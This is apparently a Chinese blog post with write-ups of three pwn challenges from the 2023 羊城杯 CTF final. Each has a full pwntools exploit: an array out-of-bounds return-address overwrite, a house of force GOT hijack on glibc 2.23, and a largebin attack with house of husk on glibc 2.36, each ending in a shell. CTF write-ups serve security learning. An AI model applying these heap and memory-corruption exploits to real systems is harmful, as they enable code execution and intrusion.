• 2023 羊城杯 final


    前言

    笔者并未参加此次比赛, 仅仅做刷题记录. 题目难度中等偏下吧, 看你记不记得一些利用手法了.

    arrary_index_bank

    考点: 数组越界

    保护: 除了 Canary, 其他保护全开, 题目给了后门

    漏洞点:

    idx/one 为 int64, 是带符号数, 所以这里存在向上越界,  并且 buf 为局部变量, 所以是栈上的向上越界读写. 

    漏洞利用:

    1) 越界读泄漏程序基地址绕过 PIE, 泄漏栈地址

    2) one 为 BSS 段上的变量, 其在栈的上方, 所以可以越界修改 one 为一个较大的数

    3) 将 one 修改为一个较大的数之后, 就可以向下越界写了, 修改返回地址为后门函数地址即可

    exp 如下: 由于栈可能不稳定或者其他原因, 成功率并不是 100%, 多打几次

    1. from pwn import *
    2. context.terminal = ['tmux', 'splitw', '-h']
    3. context(arch = 'amd64', os = 'linux')
    4. #context(arch = 'i386', os = 'linux')
    5. #context.log_level = 'debug'
    6. io = process("./pwn")
    7. elf = ELF("./pwn")
    8. libc = elf.libc
    9. def debug():
    10. gdb.attach(io)
    11. pause()
    12. sd = lambda s : io.send(s)
    13. sda = lambda s, n : io.sendafter(s, n)
    14. sl = lambda s : io.sendline(s)
    15. sla = lambda s, n : io.sendlineafter(s, n)
    16. rc = lambda n : io.recv(n)
    17. rl = lambda : io.recvline()
    18. rut = lambda s : io.recvuntil(s, drop=True)
    19. ruf = lambda s : io.recvuntil(s, drop=False)
    20. addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
    21. addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
    22. addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
    23. addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
    24. byte = lambda n : str(n).encode()
    25. info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
    26. sh = lambda : io.interactive()
    27. menu = b'> '
    28. def oob_read(idx):
    29. sla(menu, b'1')
    30. sla(b'account?', byte(idx))
    31. def oob_write(idx, data):
    32. sla(menu, b'2')
    33. sla(b'account?', byte(idx))
    34. sla(b'much?', byte(data))
    35. #gdb.attach(io, 'b *$rebase(0x00000000000014FD)')
    36. oob_read(-2)
    37. rut(b' = ')
    38. stack = int(rut(b'\n'), 10) - 0x30
    39. info("stack", stack)
    40. oob_read(-1)
    41. rut(b' = ')
    42. base = int(rut(b'\n'), 10) - 0x1327 - 255
    43. backdoor = base + 0x1310
    44. one = base + 0x4010
    45. info("base", base)
    46. info("backdoor", backdoor)
    47. info("one", one)
    48. offset = (one - stack) // 8
    49. print("offset: ", offset)
    50. oob_write(offset, 1000)
    51. sl(b'2')
    52. sl(b'7')
    53. sl(byte(backdoor+8))
    54. #pause()
    55. sl(b'3')
    56. #debug()
    57. sh()

    如果题目没有给后门, 可以考虑打 ret2libc, 经过测试在栈的上方存在 libc 地址, 可以用来泄漏 libc. 感兴趣可以自行尝试.

    easy_force

    考点: mmap分配堆块+house of force

    保护: 就开了 Canary 和 NX, 所以可以打 got 表. glibc 为 2.23 (好久没见2.23的题目了, 悲

    题目给了 5 次分配的机会, 程序只有这一个功能, 这里每次都会将堆地址打印出来, 并且当分配的堆块大小小于0x30时, 则存在堆溢出.并且申请的堆块大小不存在限制

    漏洞利用

    泄漏 libc 基址:

            当申请的堆块比较大时如 0x200000, malloc 会从 mmap 映射一块内存, 而其地址一般与 libc 有固定偏移

    匿名映射与文件映射区跟栈一样, 从高地址往低地址增长, 所以 mmap 出来的地址一般在 libc 上面

    劫持 got 表: 

            存在堆溢出, 没有限制堆块申请大小, 可以泄漏堆地址, glibc 为 2.23 并且没有其他功能, 所以结合题目名字可知道这里得用 house of force

            往 malloc@got 写入 one_gadget 进行 getshell

    exp 如下:

    1. from pwn import *
    2. context.terminal = ['tmux', 'splitw', '-h']
    3. context(arch = 'amd64', os = 'linux')
    4. #context(arch = 'i386', os = 'linux')
    5. #context.log_level = 'debug'
    6. io = process("./pwn")
    7. elf = ELF("./pwn")
    8. libc = elf.libc
    9. def debug():
    10. gdb.attach(io)
    11. pause()
    12. sd = lambda s : io.send(s)
    13. sda = lambda s, n : io.sendafter(s, n)
    14. sl = lambda s : io.sendline(s)
    15. sla = lambda s, n : io.sendlineafter(s, n)
    16. rc = lambda n : io.recv(n)
    17. rl = lambda : io.recvline()
    18. rut = lambda s : io.recvuntil(s, drop=True)
    19. ruf = lambda s : io.recvuntil(s, drop=False)
    20. addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
    21. addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
    22. addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
    23. addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
    24. byte = lambda n : str(n).encode()
    25. info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
    26. sh = lambda : io.interactive()
    27. menu = b'away'
    28. def add(idx, size, data, flag=True):
    29. sla(menu, b'1')
    30. sla(b'index?', byte(idx))
    31. sla(b'want?', byte(size))
    32. if flag:
    33. sda(b'write?', data)
    34. add(4, 2097152, b'A\n')
    35. rut(b'the balckbroad on ')
    36. libc.address = int(rut(b' is in use'), 16) + 0x200ff0
    37. info("libc_base", libc.address)
    38. add(3, 16, p64(0)*3+p64(0xffffffffffffffff))
    39. rut(b'the balckbroad on ')
    40. heap_base = int(rut(b' is in use'), 16) - 0x10
    41. info("heap_base", heap_base)
    42. """
    43. 0x45226 execve("/bin/sh", rsp+0x30, environ)
    44. 0x4527a execve("/bin/sh", rsp+0x30, environ)
    45. 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
    46. 0xf1247 execve("/bin/sh", rsp+0x70, environ)
    47. """
    48. ones = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    49. ones = [i+libc.address for i in ones]
    50. system = libc.sym.system
    51. malloc_got = 0x0000000000602040
    52. size = malloc_got - 8 * 4 - heap_base - 0x20
    53. add(0, size, b'A\n')
    54. add(1, 16, p64(ones[0]))
    55. add(2, 0, b'', False)
    56. #debug()
    57. sh()

    效果如下:

    Printf_but_not_fmtstr

    考点: largebin attack + house of husk

    保护: 只开了 Canary 和 NX, 并且题目给了后门. glibc 2.36

    题目实现了一个菜单堆, 有增删查改的功能, 堆块大小限制在 [0x500, 0x900] 之间. 其中删除堆块时, 没有将指针置空, 存在 UAF 漏洞.

    但是题目限制了不能修改 stdin/stdout/stderr. 所以常规的 largebin attack 打 IO 的方法就失效了. 并且程序没有正常退出并且没有显式的调用 exit, 所以 house of banana 也打不了.

    但是题目给了后门并且 show 里面使用了格式化字符函数, 所以可以打 house of husk.

    漏洞利用

    1) 先利用 UAF 泄漏 libc_base 和 heap_base. 由于 printf 存在 \x00 截断, 所以可能不成功

    2) largebin attack 修改 __printf_arginfo_table 和 __printf_function_table 为堆地址

    3) 向对应的 __printf_arginfo_table['s'] 中写入后门函数地址

    4) 在 show 即可 getshell

    exp 如下: 环境 2.36-0ubuntu4_amd64

    1. from pwn import *
    2. context.terminal = ['tmux', 'splitw', '-h']
    3. context(arch = 'amd64', os = 'linux')
    4. #context(arch = 'i386', os = 'linux')
    5. #context.log_level = 'debug'
    6. io = process("./pwn")
    7. elf = ELF("./pwn")
    8. libc = elf.libc
    9. def debug():
    10. gdb.attach(io)
    11. pause()
    12. sd = lambda s : io.send(s)
    13. sda = lambda s, n : io.sendafter(s, n)
    14. sl = lambda s : io.sendline(s)
    15. sla = lambda s, n : io.sendlineafter(s, n)
    16. rc = lambda n : io.recv(n)
    17. rl = lambda : io.recvline()
    18. rut = lambda s : io.recvuntil(s, drop=True)
    19. ruf = lambda s : io.recvuntil(s, drop=False)
    20. addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
    21. addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
    22. addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
    23. addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
    24. byte = lambda n : str(n).encode()
    25. info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
    26. sh = lambda : io.interactive()
    27. menu = b'>'
    28. def add(idx, size):
    29. sla(menu, b'1')
    30. sla(b'Index: ', byte(idx))
    31. sla(b'Size: ', byte(size))
    32. def dele(idx):
    33. sla(menu, b'2')
    34. sla(b'Index: ', byte(idx))
    35. def edit(idx, data):
    36. sla(menu, b'3')
    37. sla(b'Index: ', byte(idx))
    38. sda(b'Content: ', data)
    39. def show(idx):
    40. sla(menu, b'4')
    41. sla(b'Index: ', byte(idx))
    42. backdoor = 0x00000000004011D6
    43. add(0, 0x610)
    44. add(1, 0x500)
    45. add(2, 0x600)
    46. dele(0)
    47. add(3, 0x700)
    48. show(0)
    49. rut(b'Content: ')
    50. libc.address = addr64(b'\n')
    51. edit(0, b'A'*14+b'XX')
    52. show(0)
    53. rut(b'XX')
    54. heap_base = addr64(b'\n') - 0x290
    55. edit(0, p64(libc.address)*2)
    56. libc.address -= 0x1f7130
    57. info("libc_base", libc.address)
    58. info("heap_base", heap_base)
    59. arginfo = libc.address + 0x1f7890
    60. function = libc.address + 0x1f8980
    61. info("__printf_arginfo_table", arginfo)
    62. info("__printf_function_table", function)
    63. dele(2)
    64. edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(arginfo-0x20))
    65. add(3, 0x700)
    66. pay_0 = p64(heap_base+0xdc0) + p64(libc.address+0x1f7130) + p64(heap_base+0xdc0)*2
    67. pay_2 = p64(libc.address+0x1f7130) + p64(heap_base+0x290)*3
    68. edit(0, pay_0)
    69. edit(2, pay_2)
    70. add(2, 0x600)
    71. dele(2)
    72. edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(function-0x20))
    73. add(3, 0x700)
    74. edit(0, pay_0)
    75. edit(2, pay_2)
    76. offset = ord('s')*8 - 0x10
    77. add(2, 0x600)
    78. edit(2, b'\x00'*offset+p64(backdoor))
    79. show(2)
    80. #debug()
    81. sh()

    效果如下:

  • 相关阅读:
    边缘混合计算智慧矿山视频智能综合管理方案:矿山安全生产智能转型升级之路
    工业4.0时代数字化工厂的几个特点
    Java的常见的设计模式解析
    八股文之springboot
    Flowable工作流的本地部署以及使用教程
    Springboot之请求参数接收方式详解
    UML反刍
    【测试工具】Fiddler
    Java高级——解释执行
    树莓派65/100 - Pico W初体验,点亮板载的LED灯
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134515715